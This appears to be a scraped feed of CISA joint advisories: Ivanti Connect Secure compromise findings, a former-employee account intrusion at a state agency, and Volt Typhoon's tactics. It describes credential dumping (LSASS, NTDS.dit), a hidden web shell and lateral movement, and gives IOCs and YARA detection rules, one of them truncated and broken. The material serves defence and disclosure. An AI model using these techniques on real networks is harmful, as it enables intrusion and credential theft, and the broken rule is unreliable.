The authoring organizations recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REPORTING
U.S. organizations should report every potential cyber incident to the U.S. government. When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI’s Internet Crime Complaint Center (IC3), local FBI Field Office, or CISA via the agency’s Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.
The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI Field Office.
Australian organizations that have been impacted or require assistance regarding Ivanti compromise, contact ASD’s ACSC via 1300 CYBER1 (1300 292 371), or by submitting a report to cyber.gov.au.
UK organizations that have been impacted by Ivanti compromise, should report the incident to the National Cyber Security Centre.
Organizations outside of the United States or Australia should contact their national cyber center.
The information in this report is being provided “as is” for informational purposes only. CISA and authoring organizations do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and authoring organizations.
ACKNOWLEDGEMENTS
Volexity, Mandiant, and Ivanti contributed to this advisory.
VERSION HISTORY
February 29, 2024: Initial version.
APPENDIX A: CISA’S PRODUCT EVALUATION FINDINGS
Research Approach
As part of ongoing efforts to effectively serve the cybersecurity community with actionable insights and guidance, CISA conducted research by using a free and downloadable version of the Ivanti Connect Secure virtual appliance to assess potential attack paths and adversary persistence mechanisms. The virtual appliances were not connected to the internet, and were deployed in a closed virtualized network, with a non-internet connected Active Directory. This research included a variety of tests on version 22.3R1 Build 1647, connected to Active Directory credentials, to leverage the access obtained through CVE-2023-46805, CVE-2024-21887 and CVE-2024-21893. Put simply, CISA’s research team wanted to answer the question: “How far could an attacker go if they set were to exploit these CVEs remotely?”
Persistent Post-Reset and -Upgrade Access
Leveraging these vulnerabilities, CISA researchers were able to exfiltrate domain administrator cleartext credentials [TA0006], gain root-level persistence [TA0003], and bypass integrity checks used by the Integrity Checker application. CISA’s Incident Response team observed these specific techniques leveraged during the agency’s incident response engagements, along with the native tools and libraries to conduct internal reconnaissance and compromise domains behind the Ivanti appliances. CISA researchers assess that threat actors are able to use the credentials to move deeper into the environment.
The ability to exfiltrate domain administrator cleartext credentials, if saved when adding an “Active Directory Authentication server” during setup, was accomplished by using the root-level access obtained from the vulnerabilities to interface directly with the internal server and retrieve the cached credentials as shown in Figure 4, APPENDIX A. Users who currently have active sessions to the appliance could have their base64 encoded active directory cleartext passwords, in addition to the New Technology LAN Manager (NTLM) password hashes, retrieved with the same access, as shown in Figure 10, APPENDIX A. In addition to users with active sessions, users previously authenticated can have base64 encoded active directory plaintext passwords and NTLM hashes harvested from the backups of the data.mdb database files stored on the appliance, as shown in Figure 15 and 16, APPENDIX A.
The root-level access allows adversaries to maintain persistence despite issuing factory resets and appliance upgrades while deceiving the provided integrity checkers, creating the illusion of a clean installation. Due to the persistence mechanism being stored on the encrypted partition of the drive and inaccurate integrity check results, it is untenable for network administrators to validate their application has not been compromised without also decrypting the partition and validating against a clean installation of the appliance, which are actions not easily accomplished at present. Without major alterations of the integrity checking process, it is conceivable that new vulnerabilities that afford root-level access to the appliance could also result in root-kit level persistence to the appliance.
Below is proof of concept being released by CISA, which demonstrates the capacity of and opportunity for a threat actor to exfiltrate Domain Administrator credentials that were used during appliance configuration:
Below is a demonstration of the capacity for post exploitation exfiltration of base64 encoded cleartext credentials for active directory users and their associated NTLM password hashes:
APPENDIX B: INDICATORS OF COMPROMISE
Table 1: Ivanti Connect Secure VPN Indicators of Compromise
Filename
Description
Purpose
/home/perl/DSLogConfig.pm
Modified Perl module.
Designed to execute sessionserver.pl.
/usr/bin/a.sh
gcore.in core dump script.
/bin/netmon
Sliver binary.
/home/venv3/lib/python3.6/site-packages/*.egg
Python package containing WIREFIRE among other files.
/home/etc/sql/dsserver/sessionserver.pl
Perl script to remount the filesystem with read/write access.
Make sessionserver.sh executable, execute it, then restore original mount settings.
/home/etc/sql/dsserver/sessionserver.sh
Script executed by sessionserver.pl.
Uses regular expressions to modify compcheckresult.cgi to insert a web shell into it; also creates a series of entries into files associated with the In-build Integrity Checker Tool to evade detection when periodic scans are run.
Modified legitimate component of the ICS VPN appliance, with new Perl module imports added and a one-liner to execute commands based on request parameters.
Allows remote code execution over the Internet if the attacker can craft a request with the correct parameters.
Cyber actors leverage code execution from request parameters that are decoded from hex to base64 decoded, then passed to Assembly.Load(). Which is used to execute arbitrary powershell commands.
Cyber actors will exploit software vulnerabilities such as command-injection and achieve unauthenticated remote code execution (RCE).
APPENDIX D: DETECTION METHODS
rule apt_webshell_pl_complyshell: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-13"
description = "Detection for the COMPLYSHELL webshell."
hash1 = "8bc8f4da98ee05c9d403d2cb76097818de0b524d90bea8ed846615e42cb031d2"
os = "linux"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:05Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9995
version = 4
strings:
$s = "eval{my $c=Crypt::RC4->new("
condition:
$s
}
rule apt_webshell_aspx_glasstoken: UTA0178
{
meta:
author = "threatintel@volexity.com"
date = "2023-12-12"
description = "Detection for a custom webshell seen on external facing server. The webshell contains two functions, the first is to act as a Tunnel, using code borrowed from reGeorg, the second is custom code to execute arbitrary .NET code."
hash1 = "26cbb54b1feb75fe008e36285334d747428f80aacdb57badf294e597f3e9430d"
os = "win"
os_arch = "all"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:08Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 9994
version = 5
condition:
for any i in (0..#s1):
(
$re in (@s1[i]..@s1[i]+512)
)
}
rule webshell_aspx_regeorg
{
meta:
author = "threatintel@volexity.com"
date = "2018-08-29"
description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."
hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"
os = "win"
os_arch = "all"
reference = "https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.aspx"
report = "TIB-20231215"
scan_context = "file,memory"
last_modified = "2024-01-09T10:04Z"
license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
rule_id = 410
version = 7
The Cybersecurity and Infrastructure Security Agency (CISA) and the Multi-State Information Sharing & Analysis Center (MS-ISAC) conducted an incident response assessment of a state government organization’s network environment after documents containing host and user information, including metadata, were posted on a dark web brokerage site. Analysis confirmed that an unidentified threat actor compromised network administrator credentials through the account of a former employee—a technique commonly leveraged by threat actors—to successfully authenticate to an internal virtual private network (VPN) access point, further navigate the victim’s on-premises environment, and execute various lightweight directory access protocol (LDAP) queries against a domain controller.[1] Analysis also focused on the victim’s Azure environment, which hosts sensitive systems and data, as well as the compromised on-premises environment. Analysis determined there were no indications the threat actor further compromised the organization by moving laterally from the on-premises environment to the Azure environment.
CISA and MS-ISAC are releasing this Cybersecurity Advisory (CSA) to provide network defenders with the tactics, techniques, and procedures (TTPs) used by the threat actor and methods to protect against similar exploitation of both unnecessary and privileged accounts.
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actor’s activity mapped to MITRE ATT&CK® tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
A state government organization was notified that documents containing host and user information, including metadata, were posted on a dark web brokerage site. After further investigation, the victim organization determined that the documents were accessed via the compromised account of a former employee. Threat actors commonly leverage valid accounts, including accounts of former employees that have not been properly removed from the Active Directory (AD), to gain access to organizations.[1] CISA and MS-ISAC assessed that an unidentified threat actor likely accessed documents containing host and user information to post on the dark web for profit after gaining access through the account of a former employee.
The scope of this investigation included the victim organization’s on-premises environment, as well as their Azure environment, which hosts sensitive systems and data. Analysis determined the threat actor did not move laterally from the compromised on-premises network to the Azure environment and did not compromise sensitive systems.
Untitled Goose Tool
Incident responders collected Azure and Microsoft Defender for Endpoint (MDE) logs using CISA’s Untitled Goose Tool—a free tool to help network defenders detect potentially malicious activity in Microsoft Azure, Azure Active Directory (AAD), and Microsoft 365 (M365) environments. CISA developed the Untitled Goose Tool to export and review AAD sign-in and audit logs, M365 unified audit logs (UAL), Azure activity logs, and MDE data. By exporting cloud artifacts, Untitled Goose Tool supports incident response teams with environments that do not ingest logs into a security information and event management (SIEM) tool.
Threat Actor Activity
The logs revealed the threat actor first connected from an unknown virtual machine (VM) to the victim’s on-premises environment via internet protocol (IP) addresses within their internal VPN range. CISA and MS-ISAC assessed that the threat actor connected to the VM through the victim’s VPN [T1133] with the intent to blend in with legitimate traffic to evade detection.
Initial Access: Compromised Domain Accounts
USER1: The threat actor gained initial access through the compromised account of a former employee with administrative privileges (USER1) [T1078.002] to conduct reconnaissance and discovery activities. The victim organization confirmed that this account was not disabled immediately following the employee’s departure.
The threat actor likely obtained the USER1 account credentials in a separate data breach due to the credentials appearing in publicly available channels containing leaked account information [T1589.001].
USER1 had access to two virtualized servers including SharePoint and the workstation of the former employee. The workstation was virtualized from a physical workstation using the Veeam Physical to Virtual (P2V) function within the backup software.
USER2: The threat actor likely obtained the USER2 account credentials from the virtualized SharePoint server managed by USER1 [T1213.002]. The victim confirmed that the administrator credentials for USER2 were stored locally on this server [T1552.001].
Through connection from the VM, the threat actor authenticated to multiple services [T1021] via the USER1 account, as well as from an additional compromised global domain administrator account (USER2) [T1078.002].
The threat actor’s use of the USER2 account was impactful due to the access it granted to both the on-premises AD and Azure AD [T1021.007], thus enabling administrative privileges [T1078.004].
Following notification of the dark web posting, the victim organization immediately disabled the USER1 account and took the two virtualized servers associated with the former employee offline. The victim also changed the password for the USER2 account and removed administrator privileges. Neither of the administrative accounts had multifactor authentication (MFA) enabled.
LDAP Queries
Through connection from the VM, the threat actor conducted LDAP queries of the AD, likely using the open source tool AdFind.exe, based on the format of the output. CISA and MS-ISAC assess the threat actor executed the LDAP queries [T1087.002] to collect user, host [T1018], and trust relationship information [T1482]. It is also believed the LDAP queries generated the text files the threat actor posted for sale on the dark web brokerage site: ad_users.txt, ad_computers.txt, and trustdmp.txt.
Table 1 lists all queries that were conducted between 08:39:43-08:40:56 Coordinated Universal Time (UTC).
Table 1: LDAP Queries Conducted by the Threat Actor
Query
Description
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Person,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects names and metadata of users in the domain.
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Computer,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects names and metadata of hosts in the domain.
LDAP Search Scope: WholeSubtree, Base Object: dc=[REDACTED],dc=local, Search Filter: (objectCategory=CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=[REDACTED],DC=local)
Collects Domain Administrators and Service Principals in the domain.
Service Authentication
Through the VM connection, the threat actor was observed authenticating to various services on the victim organization’s network from the USER1 and USER2 administrative accounts. In all instances, the threat actor authenticated to the Common Internet File Service (CIFS) on various endpoints [T1078.002],[T1021.002]—a protocol used for providing shared access to files and printers between machines on the network. This was likely used for file, folder, and directory discovery [T1083], and assessed to be executed in an automated manner.
USER1 authenticated to four services, presumably for the purpose of network and service discovery [T1046].
USER2 authenticated to twelve services. Note: This account had administrative privileges to both the on-premises network and Azure tenant.
MITRE ATT&CK TACTICS AND TECHNIQUES
See Tables 2-9 for all referenced threat actor’s tactics and techniques for enterprise environments in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
The actor gained initial access through the compromised account of a former employee with administrative privileges (USER1). The employee’s account was not immediately disabled after their departure.
The actor authenticated to multiple services from a compromised Global Domain Administrator account (USER2). The actor also authenticated to the Common Internet File Service (CIFS) on various endpoints.
The actor used a compromised account (USER2) which was synced to both the on-premises AD and Azure AD, thus enabling administrative privileges to both the on-premises network and Azure tenant.
The actor likely obtained the USER2 account credentials from the virtualized SharePoint server managed by USER1.
MITIGATIONS
Note: These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST), which apply to all critical infrastructure organizations and network defenders. The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
Secure and Monitor Administrator Accounts
The threat actor gained access to the network via compromised administrator accounts that did not have MFA enabled. The compromised USER2 Global Domain Administrator account could have enabled the threat actor to move laterally from the on-premises environment to the Azure tenant. In response to the incident, the victim organization removed administrator privileges for USER2. Additionally, the victim organization disabled unnecessary administrator accounts and enabled MFA for all administrator accounts. To prevent similar compromises, CISA and MS-ISAC recommend the following:
Review current administrator accounts to determine their necessity and only maintain administrator accounts that are essential for network management. This will reduce the attack surface and focus efforts on the security and monitoring of necessary accounts.
Restrict the use of multiple administrator accounts for one user.
Create separate administrator accounts for on-premises and Azure environments to segment access.
Implement the principle of least privilege to decrease threat actor’s ability to access key network resources. Enable just-in-time and just enough access for administrator accounts to elevate the minimum necessary privileges for a limited time to complete tasks.
Use phishing-resistant multifactor authentication (MFA) [CPG 2.H] (e.g., security tokens) for remote access and access to any sensitive data repositories. Implement phishing-resistant MFA for as many services as possible—particularly for webmail and VPNs—for accounts that access critical systems and privileged accounts that manage backups.MFA should also be used for remote logins [M1032]. For additional guidance on secure MFA configurations, visit CISA’s More than a Password webpage and read CISA’s Implementing Phishing-Resistant MFA fact sheet.
Reduce Attack Surface
Unnecessary accounts, software, and services in the network create additional vectors for a threat actor to compromise. CISA and MS-ISAC recommend the following:
Establish policy and procedure for the prompt removal of unnecessary accounts and groups from the enterprise, especially privileged accounts. Organizations should implement a robust and continuous user management process to ensure accounts of offboarded employees are removed and can no longer access the network.
Maintain a robust asset management policy through comprehensive documentation of assets, tracking current version information to maintain awareness of outdated software, and mapping assets to business and critical functions.
Determine the need and functionality of assets that require public internet exposure [CPG 1.A].
Follow a routine patching cycle for all operating systems, applications, and software (including all third-party software) to mitigate the potential for exploitation.
Restrict personal devices from connecting to the network. Personal devices are not subject to the same group policies and security measures as domain joined devices.
Evaluate Tenant Settings
By default, in Azure AD all users can register and manage all aspects of applications they create. Users can also determine and approve what organizational data and services the application can access. These default settings can enable a threat actor to access sensitive information and move laterally in the network. In addition, users who create an Azure AD automatically become the Global Administrator for that tenant. This could allow a threat actor to escalate privileges to execute malicious actions. CISA and MS-ISAC recommend the following:
Evaluate current user permissions in the Azure tenant to restrict potentially harmful permissions including:
Restrict users’ ability to register applications. By default, all users in Azure AD can register and manage the applications they create and approve the data and services the application can access. If this is exploited, a threat actor can access sensitive information and move laterally in the network.
Restrict non-administrators from creating tenants. Any user who creates an Azure AD automatically becomes the Global Administrator for that tenant. This creates an opportunity for a threat actor to escalate privileges to the highest privileged account.
Restrict access to the Azure AD portal to administrators only. Users without administrative privileges cannot change settings, however, they can view user info, group info, device details, and user privileges. This would allow a threat actor to gather valuable information for malicious activities.
Create a Forensically Ready Organization
Collect access- and security-focused logs (e.g., intrusion detection systems/intrusion prevention systems, firewall, data loss prevention, and virtual private network) for use in both detection and incident response activities [CPG 2.T].
Enable complete coverage of tools, including Endpoint Detection and Response (EDR), across the environment for thorough analysis of anomalous activity and remediation of potential vulnerabilities.
Assess Security Configuration of Azure Environment
CISA created the Secure Cloud and Business Applications (SCuBA) assessment tool to help Federal Civilian Executive Branch (FCEB) agencies to verify that a M365 tenant configuration conforms to a minimal viable secure configuration baseline. Although the SCuBA assessment tool was developed for FCEB, other organizations can benefit from its output. CISA and MS-ISAC recommend the following:
Use tools that identify attack paths. This will enable defenders to identify common attack paths used by threat actors and shut them down before they are exploited.
Review the security recommendations list provided by Microsoft 365 Defender. Focus remediation on critical vulnerabilities on endpoints that are essential to mission execution and contain sensitive data.
Evaluate Conditional Access Policies
Conditional access policies require users who want to access a resource to complete an action. Conditional access policies also account for common signals, such as user or group memberships, IP location information, device, application, and risky sign-in behavior identified through integration with Azure AD Identity Protection.
Review current conditional access policies to determine if changes are necessary.
Reset All Passwords and Establish Secure Password Policies
In response to the incident, the victim organization reset passwords for all users.
Employ strong password management alongside other attribute-based information, such as device information, time of access, user history, and geolocation data. Set a password policy to require complex passwords for all users (minimum of 16 characters) and enforce this new requirement as user passwords expire [CPG 2.A],[CPG 2.B],[CPG 2.C].
Store credentials in a secure manner, such as with a credential manager, vault, or other privileged account management solution [CPG 2.L].
CISA recommends that vendors incorporate secure by design principles and tactics into their practices, limiting the impact of threat actor techniques and strengthening the secure posture for their customers.
Prioritize secure by default configurations, such as eliminating default passwords and providing high-quality audit logs to customers with no additional configuration, at no extra charge. Secure by default configurations should be prioritized to eliminate the need for customer implementation of hardening guidance.
Implement multifactor authentication (MFA), ideally phishing-resistant MFA, as a default (rather than opt-in) feature for all products.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA and MS-ISAC recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
Select an ATT&CK technique described in this advisory (see table 2-9).
Align your security technologies against the technique.
Test your technologies against the technique.
Analyze your detection and prevention technologies’ performance.
Repeat the process for all security technologies to obtain a set of comprehensive performance data.
Tune your security program, including people, processes, and technologies, based on the data generated by this process.
CISA and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
The information in this report is being provided “as is” for informational purposes only. CISA and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA or MS-ISAC.
https://ankaa-pmo.com/wp-content/uploads/2017/04/Logo-Ankaa-engineering.png00Service comm.https://ankaa-pmo.com/wp-content/uploads/2017/04/Logo-Ankaa-engineering.pngService comm.2024-02-14 21:19:252024-02-14 21:19:25Threat Actor Leverages Compromised Account of Former Employee to Access State Government Organization
The Cybersecurity and Infrastructure Security Agency (CISA), National Security Agency (NSA), and Federal Bureau of Investigation (FBI) assess that People’s Republic of China (PRC) state-sponsored cyber actors are seeking to pre-position themselves on IT networks for disruptive or destructive cyberattacks against U.S. critical infrastructure in the event of a major crisis or conflict with the United States.
CISA, NSA, FBI and the following partners are releasing this advisory to warn critical infrastructure organizations about this assessment, which is based on observations from the U.S. authoring agencies’ incident response activities at critical infrastructure organizations compromised by the PRC state-sponsored cyber group known as Volt Typhoon (also known as Vanguard Panda, BRONZE SILHOUETTE, Dev-0391, UNC3236, Voltzite, and Insidious Taurus):
U.S. Department of Energy (DOE)
U.S. Environmental Protection Agency (EPA)
U.S. Transportation Security Administration (TSA)
Australian Signals Directorate’s (ASD’s) Australian Cyber Security Centre (ACSC)
Canadian Centre for Cyber Security (CCCS), a part of the Communications Security Establishment (CSE)
United Kingdom National Cyber Security Centre (NCSC-UK)
New Zealand National Cyber Security Centre (NCSC-NZ)
The U.S. authoring agencies have confirmed that Volt Typhoon has compromised the IT environments of multiple critical infrastructure organizations—primarily in Communications, Energy, Transportation Systems, and Water and Wastewater Systems Sectors—in the continental and non-continental United States and its territories, including Guam. Volt Typhoon’s choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable lateral movement to OT assets to disrupt functions. The U.S. authoring agencies are concerned about the potential for these actors to use their network access for disruptive effects in the event of potential geopolitical tensions and/or military conflicts. CCCS assesses that the direct threat to Canada’s critical infrastructure from PRC state-sponsored actors is likely lower than that to U.S. infrastructure, but should U.S. infrastructure be disrupted, Canada would likely be affected as well, due to cross-border integration. ASD’s ACSC and NCSC-NZ assess Australian and New Zealand critical infrastructure, respectively, could be vulnerable to similar activity from PRC state-sponsored actors.
As the authoring agencies have previously highlighted, the use of living off the land (LOTL) techniques is a hallmark of Volt Typhoon actors’ malicious cyber activity when targeting critical infrastructure. The group also relies on valid accounts and leverage strong operational security, which combined, allows for long-term undiscovered persistence. In fact, the U.S. authoring agencies have recently observed indications of Volt Typhoon actors maintaining access and footholds within some victim IT environments for at least five years. Volt Typhoon actors conduct extensive pre-exploitation reconnaissance to learn about the target organization and its environment; tailor their tactics, techniques, and procedures (TTPs) to the victim’s environment; and dedicate ongoing resources to maintaining persistence and understanding the target environment over time, even after initial compromise.
The authoring agencies urge critical infrastructure organizations to apply the mitigations in this advisory and to hunt for similar malicious activity using the guidance herein provided, along with the recommendations found in joint guide Identifying and Mitigating Living Off the Land Techniques. These mitigations are primarily intended for IT and OT administrators in critical infrastructure organizations. Following the mitigations for prevention of or in response to an incident will help disrupt Volt Typhoon’s accesses and reduce the threat to critical infrastructure entities.
If activity is identified, the authoring agencies strongly recommend that critical infrastructure organizations apply the incident response recommendations in this advisory and report the incident to the relevant agency (see Contact Information section).
In May 2023, the authoring agencies—working with industry partners—disclosed information about activity attributed to Volt Typhoon (see joint advisory People’s Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection). Since then, CISA, NSA, and FBI have determined that this activity is part of a broader campaign in which Volt Typhoon actors have successfully infiltrated the networks of critical infrastructure organizations in the continental and non-continental United States and its territories, including Guam.
The U.S. authoring agencies have primarily observed compromises linked to Volt Typhoon in Communications, Energy, Transportation Systems, and Water and Wastewater Systems sector organizations’ IT networks. Some victims are smaller organizations with limited cybersecurity capabilities that provide critical services to larger organizations or key geographic locations.
Volt Typhoon actors tailor their TTPs to the victim environment; however, the U.S. authoring agencies have observed the actors typically following the same pattern of behavior across identified intrusions. Their choice of targets and pattern of behavior is not consistent with traditional cyber espionage or intelligence gathering operations, and the U.S. authoring agencies assess with high confidence that Volt Typhoon actors are pre-positioning themselves on IT networks to enable the disruption of OT functions across multiple critical infrastructure sectors (see Figure 1).
Volt Typhoon conducts extensive pre-compromise reconnaissance to learn about the target organization’s network architecture and operational protocols. This reconnaissance includes identifying network topologies, security measures, typical user behaviors, and key network and IT staff. The intelligence gathered by Volt Typhoon actors is likely leveraged to enhance their operational security. For example, in some instances, Volt Typhoon actors may have abstained from using compromised credentials outside of normal working hours to avoid triggering security alerts on abnormal account activities.
Volt Typhoon typically gains initial access to the IT network by exploiting known or zero-day vulnerabilities in public-facing network appliances (e.g., routers, virtual private networks [VPNs], and firewalls) and then connects to the victim’s network via VPN for follow-on activities.
Volt Typhoon aims to obtain administrator credentials within the network, often by exploiting privilege escalation vulnerabilities in the operating system or network services. In some cases, Volt Typhoon has obtained credentials insecurely stored on a public-facing network appliance.
Volt Typhoon uses valid administrator credentials to move laterally to the domain controller (DC) and other devices via remote access services such as Remote Desktop Protocol (RDP).
Volt Typhoon conducts discovery in the victim’s network, leveraging LOTL binaries for stealth. A key tactic includes using PowerShell to perform targeted queries on Windows event logs, focusing on specific users and periods. These queries facilitate the discreet extraction of security event logs into .dat files, allowing Volt Typhoon actors to gather critical information while minimizing detection. This strategy, blending in-depth pre-compromise reconnaissance with meticulous post-exploitation intelligence collection, underscores their sophisticated and strategic approach to cyber operations.
Volt Typhoon achieves full domain compromise by extracting the Active Directory database (NTDS.dit) from the DC. Volt Typhoon frequently employs the Volume Shadow Copy Service (VSS) using command-line utilities such as vssadmin to access NTDS.dit. The NTDS.dit file is a centralized repository that contains critical Active Directory data, including user accounts, passwords (in hashed form), and other sensitive data, which can be leveraged for further exploitation. This method entails the creation of a shadow copy—a point-in-time snapshot—of the volume hosting the NTDS.dit file. By leveraging this snapshot, Volt Typhoon actors effectively bypass the file locking mechanisms inherent in a live Windows environment, which typically prevent direct access to the NTDS.dit file while the domain controller is operational.
Volt Typhoon likely uses offline password cracking techniques to decipher these hashes. This process involves extracting the hashes from the NTDS.dit file and then applying various password cracking methods, such as brute force attacks, dictionary attacks, or more sophisticated techniques like rainbow tables to uncover the plaintext passwords. The successful decryption of these passwords allows Volt Typhoon actors to obtain elevated access and further infiltrate and manipulate the network.
Volt Typhoon uses elevated credentials for strategic network infiltration and additional discovery, often focusing on gaining capabilities to access OT assets. Volt Typhoon actors have been observed testing access to domain-joint OT assets using default OT vendor credentials, and in certain instances, they have possessed the capability to access OT systems whose credentials were compromised via NTDS.dit theft. This access enables potential disruptions, such as manipulating heating, ventilation, and air conditioning (HVAC) systems in server rooms or disrupting critical energy and water controls, leading to significant infrastructure failures (in some cases, Volt Typhoon actors had the capability to access camera surveillance systems at critical infrastructure facilities). In one confirmed compromise, Volt Typhoon actors moved laterally to a control system and were positioned to move to a second control system.
After successfully gaining access to legitimate accounts, Volt Typhoon actors exhibit minimal activity within the compromised environment (except discovery as noted above), suggesting their objective is to maintain persistence rather than immediate exploitation. This assessment is supported by observed patterns where Volt Typhoon methodically re-targets the same organizations over extended periods, often spanning several years, to continuously validate and potentially enhance their unauthorized accesses. Evidence of their meticulous approach is seen in instances where they repeatedly exfiltrate domain credentials, ensuring access to current and valid accounts. For example, in one compromise, Volt Typhoon likely extracted NTDS.dit from three domain controllers in a four-year period. In another compromise, Volt Typhoon actors extracted NTDS.dit two times from a victim in a nine-month period.
Industry reporting—identifying that Volt Typhoon actors are silent on the network following credential dumping and perform discovery to learn about the environment, but do not exfiltrate data—is consistent with the U.S. authoring agencies’ observations. This indicates their aim is to achieve and maintain persistence on the network. In one confirmed compromise, an industry partner observed Volt Typhoon actors dumping credentials at regular intervals.
In addition to leveraging stolen account credentials, the actors use LOTL techniques and avoid leaving malware artifacts on systems that would cause alerts. Their strong focus on stealth and operational security allows them to maintain long-term, undiscovered persistence. Further, Volt Typhoon’s operational security is enhanced by targeted log deletion to conceal their actions within the compromised environment.
See the below sections for Volt Typhoon TTPs observed by the U.S. authoring agencies from multiple confirmed Volt Typhoon compromises.
Observed TTPs
Reconnaissance
Volt Typhoon actors conduct extensive pre-compromise reconnaissance [TA0043] to learn about the target organization [T1591], its network [T1590], and its staff [T1589]. This includes web searches [T1593]—including victim-owned sites [T1594]—for victim host [T1592], identity, and network information, especially for information on key network and IT administrators. According to industry reporting, Volt Typhoon actors use FOFA[1], Shodan, and Censys for querying or searching for exposed infrastructure. In some instances, the U.S. authoring agencies have observed Volt Typhoon actors targeting the personal emails of key network and IT staff [T1589.002] post compromise.
To obtain initial access [TA0001], Volt Typhoon actors commonly exploit vulnerabilities in networking appliances such as those from Fortinet, Ivanti Connect Secure (formerly Pulse Secure), NETGEAR, Citrix, and Cisco [T1190]. They often use publicly available exploit code for known vulnerabilities [T1588.005] but are also adept at discovering and exploiting zero-day vulnerabilities [T1587.004].
In one confirmed compromise, Volt Typhoon actors likely obtained initial access by exploiting CVE-2022-42475 in a network perimeter FortiGate 300D firewall that was not patched. There is evidence of a buffer overflow attack identified within the Secure Sockets Layer (SSL)-VPN crash logs.
Once initial access is achieved, Volt Typhoon actors typically shift to establishing persistent access [TA0003]. They often use VPN sessions to securely connect to victim environments [T1133], enabling discreet follow-on intrusion activities. This tactic not only provides a stable foothold in the network but also allows them to blend in with regular traffic, significantly reducing their chances of detection.
Execution
Volt Typhoon actors rarely use malware for post-compromise execution. Instead, once Volt Typhoon actors gain access to target environments, they use hands-on-keyboard activity via the command-line [T1059] and other native tools and processes on systems [T1218] (often referred to as “LOLBins”), known as LOTL, to maintain and expand access to the victim networks. According to industry reporting, some “commands appear to be exploratory or experimental, as the operators [i.e., malicious actors] adjust and repeat them multiple times.”[2]
For more details on LOTL activity, see the Credential Access and Discovery sections and Appendix A: Volt Typhoon LOTL Activity.
Similar to LOTL, Volt Typhoon actors also use legitimate but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded [T1105] an outdated version of comsvcs.dll on the DC in a non-standard folder. comsvcs.dll is a legitimate Microsoft Dynamic Link Library (DLL) file normally found in the System32 folder. The actors used this DLL with MiniDump and the process ID of the Local Security Authority Subsystem Service (LSASS) to dump the LSASS process memory [T1003.001] and obtain credentials (LSASS process memory space contains hashes for the current user’s operating system (OS) credentials).
The actors also use legitimate non-native network admin and forensic tools. For example, Volt Typhoon actors have been observed using Magnet RAM Capture (MRC) version 1.20 on domain controllers. MRC is a free imaging tool that captures the physical memory of a computer, and Volt Typhoon actors likely used it to analyze in-memory data for sensitive information (such as credentials) and in-transit data not typically accessible on disk. Volt Typhoon actors have also been observed implanting Fast Reverse Proxy (FRP) for command and control.[3] (See the Command and Control section).
Persistence
Volt Typhoon primarily relies on valid credentials for persistence [T1078].
Defense Evasion
Volt Typhoon has strong operational security. Their actors primarily use LOTL for defense evasion [TA0005], which allows them to camouflage their malicious activity with typical system and network behavior, potentially circumventing simplistic endpoint security capabilities. For more information, see joint guide Identifying and Mitigating Living off the Land Techniques.
